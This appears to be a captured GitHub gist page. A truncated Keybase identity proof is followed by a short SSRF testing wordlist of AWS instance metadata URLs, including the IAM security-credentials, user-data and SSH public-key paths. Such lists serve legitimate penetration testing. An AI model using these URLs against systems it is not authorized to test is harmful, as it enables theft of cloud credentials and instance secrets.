Skip to content

Instantly share code, notes, and snippets.

### Keybase proof
I hereby claim:
* I am thomasleplus on github.
* I am thomasleplus (https://keybase.io/thomasleplus) on keybase.
* I have a public key ASBVxcgDEHuXukFvkRfseY4NlxJ9K5eaozJZB40JZJO71Ao
To claim this, I am signing this object:
@thomasleplus
thomasleplus / cloud_metadata.txt
Created August 7, 2018 18:47 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key